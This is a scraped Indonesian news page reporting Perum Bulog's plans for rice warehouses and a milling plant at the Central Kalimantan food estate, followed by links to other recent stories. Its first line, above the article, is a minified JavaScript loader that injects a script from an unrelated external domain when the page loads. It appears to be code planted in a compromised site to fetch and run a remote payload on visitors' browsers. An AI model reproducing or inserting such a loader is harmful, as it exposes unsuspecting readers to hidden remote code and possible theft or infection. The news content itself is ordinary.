(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Tengah

Bulog Bakal Bangun Gudang di Lumbung Pangan Kalimantan Tengah


KANALKALIMANTAN.COM, JAKARTA – Pemerintah tengah mengembangkan lumbung pangan (food estate) di Kalimantan Tengah sebagai cadangan pangan nasional. Perum Bulog pun berencana membangun gudang di wilayah tersebut. “Bulog juga sudah mempersiapkan. Salah satunya di Kabupaten Pulang Pisau, kami baru membangun (gudang),” kata Direktur Utama Budi Waseso saat mengikuti siaran langsung IDX Channel, Selasa (14/7).

Pria yang akrab disapa Buwas itu memperkirakan, rata-rata produksi beras di wilayah lumbung pangan mencapai empat ton per hektare. Dengan produksi yang besar, ada potensi swasembada pangan di daerah itu.

Terlebih lagi, Kalimantan Tengah memiliki sawah seluas 48 hektare yang berproduksi secara normal. “Selebihnya akan ada penggalakan terkait pertanian. Artinya produksi bakal banyak,” ujar dia.

Selain di Kalimantan Tengah, Bulog sedang membangun gudang penyimpanan beras di 14 wilayah. Dengan begitu, beras yang disimpan Bulog dapat bertahan lebih lama. Mengingat saat ini belum ada penyimpanan khusus beras.

 

Saat ini, Bulog juga mempersiapkan pembangunan gudang dan mesin penggilingan beras (rice milling plant). Perusahaan telah berkoordinasi dengan bupati setempat. “Beliau (bupati setempat) dalam waktu dekat akan hibah tanah di sana. Maka, kami bisa membangun gudang untuk penampungan dan rice milling plant,” kata Direktur Operasional dan Pelayanan Publik Perum Bulog Tri Wahyudi Saleh.

Bulog memperkirakan, musim tanam di lumbung pangan nasional akan dimulai pada Oktober nanti. Oleh karena itu, perusahaan mempersiapkan diri sebagai off-taker bersama dengan Badan Usaha Milik Negara (BUMN) klaster pangan lainnya. Proyek food estate yang tengah dikembangkan pemerintah itu berada di kawasan aluvial, bekas lahan gambut. Luasnya 165 ribu hektare.

Dari luas tanah itu, 85.500 hektare di antaranya merupakan lahan fungsional yang sudah digunakan untuk berproduksi setiap tahun. Lalu, 79.500 hektare sisanya berupa semak belukar. Lahan semak belukar itu perlu dibersihkan (land clearing) terlebih dahulu. Selain itu, perlu ada peningkatan irigasi. Proyek ini pun telah menjadi salah satu Program Strategis Nasional (PSN) 2020-2024. (katadata)

Reporter : katadata
Editor : kk

Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

14 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

14 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

18 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

21 jam ago

This website uses cookies.